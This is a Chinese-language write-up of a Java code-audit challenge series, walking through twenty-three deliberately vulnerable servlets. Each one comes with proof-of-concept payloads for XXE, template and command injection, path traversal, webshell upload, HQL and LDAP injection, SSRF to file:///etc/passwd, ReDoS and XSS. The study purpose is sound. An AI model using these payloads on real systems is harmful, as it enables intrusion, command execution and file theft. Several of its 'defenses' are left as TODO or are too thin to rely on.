Day 1 - Candy Cane Source: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import org.jdom2.Content;import org.jdom2.Document;import org.jdom2.JDOMException;import org.jdom2.input.SAXBuilder;public class ImportDocument { public static String extractString () throws IOException, JDOMException { File initialFile = new File("uploaded_office_doc.odt" ); InputStream in = new FileInputStream(initialFile); final ZipInputStream zis = new ZipInputStream(in); ZipEntry entry; List<Content> content = null ; while ((entry = zis.getNextEntry()) != null ) { if (entry.getName().equals("content.xml" )) { final SAXBuilder sax = new org.jdom2.input.SAXBuilder(); sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing" ,true ); Document doc = sax.build(zis); content = doc.getContent(); zis.close(); break ; } } StringBuilder sb = new StringBuilder(); if (content != null ) { for (Content item : content){ sb.append(item.getValue()); } } return sb.toString(); } }
POC content.xml 1 2 3 4 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE doc [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8888/test" >]> <doc > &xxe;</doc >
将context.xml采用zip压缩为uploaded_office_doc.odt,放置于同目录下。
防御措施 1 2 3 4 5 SAXBuilder builder = new SAXBuilder(); builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl" ,true ); builder.setFeature("http://xml.org/sax/features/external-general-entities" , false ); builder.setFeature("http://xml.org/sax/features/external-parameter-entities" , false ); Document doc = builder.build(new File(fileName));
Day 2 - Eggnog Madness 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import org.json.*;public class MainController { private static String[] parseJsonAsArray(String rawJson, String field) { JSONObject obj = new JSONObject(rawJson); JSONArray arrJson = obj.getJSONArray(field); String[] arr = new String[arrJson.length()]; for (int i = 0 ; i < arrJson.length(); i++) { arr[i] = arrJson.getString(i); } return arr; } private static String parseJsonAsString (String rawJson, String field) { JSONObject obj = new JSONObject(rawJson); return obj.getString(field); } public MainController (String rawJson) { this (parseJsonAsString(rawJson, "controller" ), parseJsonAsString(rawJson, "task" ), parseJsonAsArray(rawJson, "data" )); } private MainController (String controllerName, String task, String... data) { try { Object controller = !controllerName.equals("MainController" ) ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this ; System.out.println(controller.getClass().getMethod(task)); controller.getClass().getMethod(task).invoke(controller); } catch (Exception e1) { try { String log = "# [ERROR] Exception with data: " + data + " with exception " + e1; System.err.println(log); Runtime.getRuntime().exec(new String[]{"java" , "-jar" , "log4j_custom_dlogger.jar" , log.replaceAll("." , "" )}); } catch (Exception e2) { System.err.println("FATAL ERROR: " + e2); } } } }
POC1 MainController MC = new MainController("{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"ls\"]}" );
防御措施: TODO
Day 3 - Christmas Carols Source: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.velocity.app.VelocityEngine;import org.apache.velocity.VelocityContext;import java.util.HashMap;import java.io.*;import java.util.Map;public class TemplateRenderer extends HttpServlet { private static final long serialVersionUID = -1915463532411657451L ; @Override protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { VelocityEngine velocity; velocity = new VelocityEngine(); velocity.init(); Map<String, Object> hm = new HashMap<String, Object>(); hm.put("user" , request.getParameter("user" )); String template = request.getParameter("temp" ); VelocityContext context = new VelocityContext(hm); StringWriter tempWriter = new StringWriter(template.length()); velocity.evaluate(context, tempWriter, "renderFragment" , template); String rendered = tempWriter.toString(); response.getWriter().println(rendered); } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
我把代码稍微修改了一下。很典型的velocity模版注入,rips给的poc1 2 poc1 user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass
1 2 3 4 5 6 7 8 9 10 11 带回显的poc2 #set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('whoami')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end
防御措施: TODO
Day 4 - Father Christmas Source 1 2 3 4 5 6 7 8 9 10 11 12 import javax.servlet.http.*;public class Login extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url" ); if (url.startsWith("/" )) { response.sendRedirect(url); } } }
由于是使用response.sendRedirect,其最终是通过http头location进行跳转,所以只能造成重定向问题。1 http://x.com/index.jsp?url=/evil.com
Day 5 - Wintertime Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.servlet.http.HttpServletRequest;import java.util.Enumeration;public class Request { public static String toString (HttpServletRequest req) { StringBuilder sb = new StringBuilder(); String delimiter = req.getParameter("delim" ); Enumeration<String> names = req.getParameterNames(); while (names.hasMoreElements()) { String name = names.nextElement(); if (!name.equals("delim" )) { sb.append("<b>" + name + "</b>:<br>" ); String[] values = req.getParameterValues(name); for (String val : values) { sb.append(val); sb.append(delimiter); sb.append("<br>" ); } } } return sb.toString(); } }
Tomcat默认限制post数据为2m,但是如果我们在url中,使用大量参数和字符,那么sb这个变量会变得非常大。因为StringBuilder的默认容量为16,每次append数据前会检查是否足够存放,如果不够,容量将会变为(oldcapacity*2)+2。因此如果我们提交恶意数据,很有可能造成内存不够,把java虚拟机搞挂。
防御措施: 不要随便向StringBuilder里append东西。
Day 6 - Yule Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.io.*;import java.nio.file.*;import javax.servlet.http.*;public class ReadFile extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { try { String url = request.getParameter("url" ); String data = new String(Files.readAllBytes(Paths.get(url))); } catch (IOException e) { PrintWriter out = response.getWriter(); out.print("File not found" ); out.flush(); } } }
很明显的任意文件读取,不过这里还存在里一个问题,如果去读取/dev/urandom这类文件,因为是readAllBytes,而且不存在IO异常,就会把内存吃完,会造成dos.
Day 7 - Jingle Bells Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import com.fasterxml.jackson.core.*;import javax.servlet.http.*;import java.io.*;public class ApiCache extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { storeJson(request, "/tmp/getUserInformation.json" ); } protected void doGet (HttpServletRequest request, HttpServletResponse response) { loadJson(); } public static void loadJson () { } public static void storeJson (HttpServletRequest request, String filename) throws IOException { JsonFactory jsonobject = new JsonFactory(); JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8); jGenerator.writeStartObject(); jGenerator.writeFieldName("username" ); jGenerator.writeRawValue("\"" + request.getParameter("username" ) + "\"" ); jGenerator.writeFieldName("permission" ); jGenerator.writeRawValue("\"none\"" ); jGenerator.writeEndObject(); jGenerator.close(); } }
很明显的拼接造成的json注入,例如一个简单的poc:1 ?username=foo","permission":"all
防御措施: 对关键字符进行转义,例如”转义为\”.
Day 8 - Icicles Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import java.io.File;import javax.servlet.http.*;public class GetPath extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { String icons = request.getParameter("icons" ); String filename = request.getParameter("filename" ); File f_icons = new File(icons); File f_filename = new File(filename); if (!icons.equals(f_icons.getName())) { throw new Exception("File not within target directory!" ); } if (!filename.equals(f_filename.getName())) { throw new Exception("File not within target directory!" ); } String toDir = "/var/myapp/data/" + f_icons.getName() + "/" ; File file = new File(toDir, filename); } catch (Exception e) { response.sendRedirect("/" ); } } }
乍一看,像是目录穿越,任意文件下载。仔细一看代码利用icons.equals(f_icons.getName())进行了简单的防御。只获取了最后的文件名,似乎无法进行目录穿越。但是如果我们将icons赋值为..则可以跳到上级目录,就可以下载上级目录的文件了。
防御措施: 把..和/这些东西都过滤掉
Day 9 - Chestnuts Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.*;import java.util.regex.*;import javax.servlet.http.*;public class Validator extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/plain" ); response.setCharacterEncoding("UTF-8" ); PrintWriter out = response.getWriter(); if (isInWhiteList(request.getParameter("whitelist" ), request.getParameter("value" ))) { out.print("Value is in whitelist." ); } else { out.print("Value is not in whitelist." ); } out.flush(); } public static boolean isInWhiteList (String whitelist, String value) { Pattern pattern = Pattern.compile("^[" + whitelist + "]+" ); Matcher matcher = pattern.matcher(value); return matcher.matches(); } }
这个用户可以控制正则表达式和value的值,那么就可以传入一个很复杂的正则把cpu耗尽。这类漏洞称之为ReDoS.1 whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Day 10 - Anticipation Source 1 2 3 4 5 6 7 8 9 10 @RequestMapping ("/webdav" ) public void webdav (HttpServletResponse res, @RequestParam("name" ) String name) throws IOException { res.setContentType("text/xml" ); res.setCharacterEncoding("UTF-8" ); PrintWriter pw = res.getWriter(); name = name.replace("]]" , "" ); pw.print("<person>" ); pw.print("<name><![CDATA[" + name.replace(" " ,"" ) + "]]></name>" ); pw.print("</person>" ); }
用户可以控制传入的name的值,进而控制输出的xml,代码进行了简单的过滤,但是可以构造xss。1 name = test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[
经过测试,需要post方式提交,get方式是不行滴。
防御措施: 过滤再过滤
Day 11 - Carolers Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import javax.servlet.http.*;import java.io.*;import java.nio.file.Files;import org.apache.commons.compress.archivers.ArchiveStreamFactory;import org.apache.commons.compress.archivers.tar.*;import org.apache.commons.io.IOUtils;public class ExtractFiles extends HttpServlet { private static void extract () throws Exception { final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar" )); final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is)); File tmpDir = Files.createTempDirectory("test" ).toFile(); TarArchiveEntry entry; while ((entry = tarInputStream.getNextTarEntry()) != null ) { File file = new File(tmpDir, entry.getName().replace("../" , "" )); if (entry.isDirectory()) { file.mkdirs(); } else { IOUtils.copy(tarInputStream, new FileOutputStream(file)); } } is.close(); tarInputStream.close(); } }
很明显 我们可以…/./来绕过过滤,进行目录穿越,进行写文件。
防御措施: 过滤再过滤。先规范路径,然后判断是不是在相应目录下。
Day 12 - Evergreen Source index.jsp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <%@ page import ="org.owasp.esapi.ESAPI" %> <%! String customClass = "default" ; %> <html><body><%@ include file="init.jsp" %> <div class ="<%= customClass %>" > <%! String username; %> <% username = request.getParameter("username" ); %> Welcome citizen, you have been identified as <% customClass = request.getParameter("customClass" ); customClass = ESAPI.encoder().encodeForHTML(customClass); %> <div class ="<%= customClass %>" > <%= ESAPI.encoder().encodeForHTML(username) %>. </div></div></body></html>
init.jsp1 <% customClass = request.getParameter("customClass" ); %>
一个很简单的变量覆盖. poc1 2 3 4 5 6 7 8 9 10 11 12 13 POST /web_war_exploded/index.jsp HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=AEA1D4B900A1C3E88DAFEF5768769A31 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 57 username=a&customClass="></div> <script>alert(1)</script>
防御措施 命名空间一定要规范好。
Day 13 - Epiphany Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import javax.servlet.http.*;import java.io.*;import java.util.List;import org.apache.commons.fileupload.FileItem;import org.apache.commons.fileupload.disk.DiskFileItemFactory;import org.apache.commons.fileupload.servlet.ServletFileUpload;public class UploadFileController extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setRepository(new File(System.getProperty("java.io.tmpdir" ))); ServletFileUpload upload = new ServletFileUpload(factory); String uploadPath = getServletContext().getRealPath("" ) + "upload" ; File uploadDir = new File(uploadPath); if (!uploadDir.exists()) { uploadDir.mkdir(); } try { List<FileItem> items = upload.parseRequest(request); if (items != null && items.size() > 0 ) { for (FileItem item : items) { if (!item.isFormField()) { if (!(item.getContentType().equals("text/plain" ))) { throw new Exception("ContentType mismatch" ); } String file = uploadPath + File.separator + item.getName(); File storeFile = new File(file); item.write(storeFile); } } } } catch (Exception ex) { response.sendRedirect("/" ); } } }
很明显的跨越目录和任意文件上传.1 2 Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp" Content-Type: text/plain
这样就可以直接传个jsp马上去.
防御措施 限制上传目录,限制文件类型.
Day 14 - Chimney Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import java.io.PrintWriter;import java.util.*;import javax.servlet.http.*;public class Export extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/csv" ); response.setCharacterEncoding("UTF-8" ); PrintWriter out = response.getWriter(); String content = buildCSV(request); out.print(content); out.flush(); } public String buildCSV (HttpServletRequest request) { { StringBuilder str = new StringBuilder(); List<List<String>> rows = Arrays.asList( Arrays.asList("Scott" , "editor" , request.getParameter("description" )) ); str.append("Name" ); str.append("," ); str.append("Role" ); str.append("," ); str.append("Description" ); str.append("\n" ); for (List<String> rowData : rows) { str.append(String.join("," , rowData)); str.append("\n" ); } return str.toString(); } } }
这是一个CSV注入。可以在description变量处注入。然后ripstech说可以注入 excel的方程式,例如注入”=cmd|’/C calc.exe’!Z0”,然后在excel打开的时候,就可以调用系统命令,个人认为 利用条件过于苛刻。
防御措施 todo
Day 15 - Mistletoe Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import org.apache.commons.io.IOUtils;import javax.servlet.http.*;import java.io.*;import java.util.*;public class FindOnSystem extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { String[] binary = {"find" , "." , "-type" , "d" }; ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary)); String[] options = request.getParameter("options" ).split(" " ); for (String i : options) { cmd.add(i); } ProcessBuilder processBuilder = new ProcessBuilder(cmd); Process process = processBuilder.start(); IOUtils.copy(process.getInputStream(),response.getOutputStream()); } catch (Exception e) { response.sendRedirect("/" ); } } }
通过options的参数可以进行命令注入,我原本以为可以通过类似”&&”之类的进行随便注入,后来发现不行,因为ProcessBuilder的参数如果是List类型,后边的值都会被认为是第一个命令的参数。所以我们需要find命令可以执行外部命令的参数,-exec可以。所以可以构造poc?options=-exec cat /etc/passwd ;
防御措施 todo
Day 16 - Candles Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.Serializable;import javax.persistence.*;@Entity @DynamicUpdate @Table (name = "UserEntity" , uniqueConstraints = { @UniqueConstraint (columnNames = "ID" ), @UniqueConstraint (columnNames = "EMAIL" ) }) public class UserEntity implements Serializable { public UserEntity (String email, String firstName, String lastName) { this .email = email; this .firstName = firstName; this .lastName = lastName; } private static final long serialVersionUID = -1798070786993154676L ; @Id @GeneratedValue (strategy = GenerationType.IDENTITY) @Column (name = "ID" , unique = true , nullable = false ) private Integer userId; @Column (name = "EMAIL" , unique = true , nullable = false , length = 100 ) private String email; @Column (name = "FIRST_NAME" , unique = false , nullable = false , length = 100 ) private String firstName; @Column (name = "LAST_NAME" , unique = false , nullable = false , length = 100 ) private String lastName; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import org.hibernate.*;import org.springframework.web.bind.annotation.RequestParam;public class FindController { public String escapeQuotes (String in) { return in.replaceAll("'" ,"''" ); } @RequestMapping ("/findUsers" ) public void findUsers (@RequestParam(name="name" ) String name, HttpServletResponse res) throws IOException { Configuration config = new Configuration(); SessionFactory sessionFactory = config.configure().buildSessionFactory(); Session session = sessionFactory.openSession(); List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'" , UserEntity.class).list(); res.getWriter().println("Found " + users.size() + " Users with that name" ); } }
很明显的注入,只是简单的将单引号替换两个单引号,那么我们只需要用一个简单的转义符就可以绕过,例如”\”符号. poc1 test\' or 1=sleep(1) -- -
防御措施 TODO
Day 17 - Carol Singers Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import java.io.IOException;import java.lang.reflect.Field;import java.util.*;import java.util.regex.Pattern;import javax.servlet.http.*;public class JavaDeobfuscatorStartupController extends HttpServlet { private static boolean isInBlacklist (String input) { String[] blacklist = {"java" ,"os" ,"file" }; return Arrays.asList(blacklist).contains(input); } private static void setEnv (String key, String value) { String[] values = key.split(Pattern.quote("." )); if (isInBlacklist(values[0 ])) { return ; } List<String> list = new ArrayList<>(Arrays.asList(values)); list.removeAll(Arrays.asList("" , null )); String property = String.join("." , list); System.setProperty(property, value); } private static void loadEnv (HttpServletRequest request) { Cookie[] cookies = request.getCookies(); for (int i = 0 ; i < cookies.length; i++) if (cookies[i].getName().equals("env" )) { String[] tmp = cookies[i].getValue().split("@" , 2 ); setEnv(tmp[0 ], tmp[1 ]); } } private static void uploadFile () { } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { loadEnv(request); try { final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths" ); sysPathsField.setAccessible(true ); sysPathsField.set(null , null ); System.loadLibrary("DEOBFUSCATION_LIB" ); } catch (Exception e) { response.sendRedirect("/" ); } } }
第一步 先上传恶意库文件,第二步给他加载进去.上传恶意库文件名则必须为libDEOBFUSCATION_LIB.so,第二步我们则需要给他加载进去,我们需要修改java库文件路径. poc1 curl -v --cookie 'env=.java.library.path@/var/myapp/data'
java加载库文件 命名规则:1 2 3 Windows: "hello" -> "hello.dll" Linux/Solaris: "hello" "libhello.so" Mac: "hello" -> "libhello.dylib"
防御措施 TODO
Day 18 - Reindeer Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import org.apache.tomcat.util.http.fileupload.IOUtils;import javax.servlet.http.*;import java.util.HashMap;public class LoadConfig extends HttpServlet { public static HashMap<String, String> parseRequest (String value) { HashMap<String, String> result = new HashMap<String, String>(); if (value != null ) { String tmp[] = value.split("@" ); for (int i = 0 ; i < tmp.length; i = i + 2 ) { result.put(tmp[i], tmp[i + 1 ]); } } return result; } protected void doGet (HttpServletRequest request, HttpServletResponse response) { if (request.getParameter("home" ) != null ) { HttpSession session = request.getSession(true ); if (!session.isNew()){ if (validBasicAuthHeader()) { ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command((String)session.getAttribute("last_command" )); try { Process process = processBuilder.start(); IOUtils.copy(process.getInputStream(), response.getOutputStream()); } catch (Exception e){ return ; } } } } else if (request.getParameter("save_session" ) != null ) { String value = request.getParameter("config" ); HashMap<String, String> config = parseRequest(value); for (String i : config.keySet()) { Cookie settings = new Cookie(i, config.get(i)); response.addCookie(settings); } } else { HttpSession session = request.getSession(true ); if (session.isNew()) { HashMap<String, String> whitelist = new HashMap<String, String>(); whitelist.put("home" , "yes" ); whitelist.put("role" , "frontend" ); String value = request.getParameter("config" ); HashMap<String, String> config = parseRequest(value); whitelist.putAll(config); for (String i : whitelist.keySet()) { session.setAttribute(i, whitelist.get(i)); } } } } }
明显的命令注入,第一步我们要让被执行的命令放到session里,第二步,去执行就完事了。 第一步 我们需要通过config参数,将我们要执行的命令放到session里,?config=last_command@whoami,第二步,我们去执行一下,?home=yes.但是我看了官方的writeup,他中间加了一步,就是将自己的session给管理员,然后让管理员绕过check,最后执行命令.官方的writeup1 2 3 4 curl "http://victim.org/?config=last_command@ls" -v Send link to admin and execute the following requests in the background: http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes http://victim.org/?home=yes
Day 19 - Gingerbread Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import javax.script.ScriptEngineManager;import javax.servlet.http.*;import javax.script.ScriptEngine;import java.io.IOException;import java.util.regex.*;public class RenderExpression extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js" ); String dynamiceCodeHere = request.getParameter("p" ); if (!dynamiceCodeHere.startsWith("\"" )) { throw new Exception(); } Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)" ); Matcher m = p.matcher(dynamiceCodeHere.toLowerCase()); if (m.find()) { throw new Exception(); } scriptEngine.eval(dynamiceCodeHere); } catch (Exception e) { response.sendRedirect("/" ); } } }
这里我们要构造一个命令注入,p参数的值需双引号开头,然后又过滤了一些常见的执行命令的方法。我是没构造出来怎么注入,参考一下官方吧。巧妙的使用””空字符串,然后调用equals方法,去利用ScriptEnginemanger的eval方法进行反射执行,中间还利用replaceAll绕过了过滤,真巧妙啊。1 victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))
防御措施 TODO
Day 20 - Ornaments Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import javax.naming.*;import javax.naming.directory.*;import java.util.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.*;import java.io.*;public class UserController extends HttpServlet { private static final String api_token = "1c4e98fc43d0385e67cd6de8c32f969f371eba8ab84053858b5bfd21a2adb471" ; private static void executeCommand (String user_token, String[] cmd) { if (user_token.equals(api_token)) { } } private static DirContext initLdap () throws NamingException { Hashtable<String, Object> env = new Hashtable<String, Object>(); env.put(Context.SECURITY_AUTHENTICATION, "simple" ); env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=example,dc=org" ); env.put(Context.SECURITY_CREDENTIALS, "admin" ); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory" ); env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:389/" ); return new InitialDirContext(env); } private static boolean userExists (DirContext ctx, String username) throws Exception { String[] security_blacklist = {"uuid" , "userpassword" , "surname" , "mail" , "givenName" , "name" , "cn" , "sn" , "objectclass" , "|" , "&" }; for (String name : security_blacklist) { if (username.contains(name)) { throw new Exception(); } } String searchFilter = "(&(objectClass=simpleSecurityObject)(uid=" +username+"))" ; SearchControls searchControls = new SearchControls(); searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE); NamingEnumeration<SearchResult> results = ctx.search("dc=example,dc=org" , searchFilter, searchControls); if (results.hasMoreElements()) { SearchResult searchResult = (SearchResult) results.nextElement(); return searchResult != null ; } return false ; } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { DirContext ctx = initLdap(); if (userExists(ctx, request.getParameter("username" ))){ response.getOutputStream().print("User is found." ); response.getOutputStream().close(); } } catch (Exception e) { response.sendRedirect("/" ); } } }
一个ldap注入,但是过滤了一些关键词,不过我们可以对createTimestamp进行注入,所以我们可以构造poc1 2 ?username=admin)(createTimestamp=2* ?username=admin)(createTimestamp=20*
猜出来createTimestamp然后进行命令执行。
防御措施 TODO
Day 21 - Snowman Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import javax.crypto.*;import javax.crypto.spec.*;import org.apache.commons.codec.binary.Hex;public class Decrypter { @RequestMapping ("/decrypt" ) public void decrypt (HttpServletResponse req, HttpServletResponse res) throws IOException, NoSuchAlgorithmException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, NoSuchPaddingException, DecoderException, InvalidKeySpecException { byte [] cipher = Hex.decodeHex(req.getParameter("c" )); byte [] salt = new byte []{(byte )0x12 ,(byte )0x34 ,(byte )0x56 ,(byte )0x78 ,(byte )0x9a ,(byte )0xbc ,(byte )0xde }; byte [] iv = new byte [16 ]; System.arraycopy(cipher, 0 , iv, 0 , iv.length); IvParameterSpec ivParameterSpec = new IvParameterSpec(iv); byte [] encryptedBytes = new byte [cipher.length - 16 ]; System.arraycopy(cipher, 16 , encryptedBytes, 0 , cipher.length - 16 ); SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256" ); KeySpec spec = new PBEKeySpec("SuperSecurePassword" .toCharArray(), salt, 65536 , 128 ); SecretKey key = factory.generateSecret(spec); SecretKeySpec secretKeySpec = new SecretKeySpec(key.getEncoded(), "AES" ); try { Cipher cipherDecrypt = Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec); byte [] decrypted = cipherDecrypt.doFinal(encryptedBytes); } catch (BadPaddingException e) { res.getWriter().println("Invalid Padding!!" ); } } }
AES/CBC存在padding oracle问题。网上又很多详细的文章了,不再缀诉。
防御措施 TODO
Day 22 - Fruitcake Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import org.apache.commons.io.IOUtils;import java.net.*;import javax.servlet.http.*;public class ReadExternalUrl extends HttpServlet { private static URLConnection getUrl (String target) { try { HttpURLConnection.setFollowRedirects(false ); URL url = new URL(target); if (!url.getProtocol().startsWith("http" )) throw new Exception("Must start with http!." ); InetAddress inetAddress = InetAddress.getByName(url.getHost()); if (inetAddress.isAnyLocalAddress() || inetAddress.isLoopbackAddress() || inetAddress.isLinkLocalAddress()) throw new Exception("No local urls allowed!" ); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); return conn; } catch (Exception e) { return null ; } } protected void doGet (HttpServletRequest request, HttpServletResponse response) { try { URLConnection conn = getUrl(request.getParameter("url" )); conn.connect(); String redirect = conn.getHeaderField("Location" ); if (redirect != null ) { URL url = new URL(redirect); if (redirect.indexOf("http://" ) == -1 ) { throw new Exception("No http found!" ); } if (getUrl(redirect.substring(redirect.indexOf("http://" ))) != null ) { conn = url.openConnection(); conn.connect(); } } IOUtils.copy(conn.getInputStream(),response.getOutputStream()); } catch (Exception e) { System.exit(-1 ); } } }
这里存在一个漏洞可以读文件,虽然url参数必须以http开始,但是最总读读数据的是来自Location的,然而Location攻击者是可以控制的。 ?url=http://www.google.com Location:file:///etc/passwd#http://xxx.com
防御措施 保持一致性,redirect也要检查。不能检查一个参数,但是实际使用的是另一个参数。
Day 23 - Ivy Source 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import javax.servlet.http.*;import java.io.*;import java.text.*;import java.util.*;import org.apache.commons.lang3.StringEscapeUtils;public class ShowCalendar extends HttpServlet { protected void doGet (HttpServletRequest request, HttpServletResponse response) throws IOException { try { response.setContentType("text/html" ); GregorianCalendar calendar = new GregorianCalendar(); SimpleTimeZone x = new SimpleTimeZone(0 , request.getParameter("id" )); SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy" ); calendar.setTime(parser.parse(request.getParameter("current_time" ))); calendar.setTimeZone(x); Formatter formatter = new Formatter(); String name = StringEscapeUtils.escapeHtml4(request.getParameter("name" )); formatter.format("Name of your calendar: " + name + " and your current date is: %1$te.%1$tm.%1$tY" , calendar); PrintWriter pw = response.getWriter(); pw.print(formatter.toString()); } catch (ParseException e) { response.sendRedirect("/" ); } } }
很典型的反射xss.1 http://victim.org/?id=<script>alert(1)</script>¤t_time=Thu Jun 18 20:56:02 EDT 2009&name=%shello
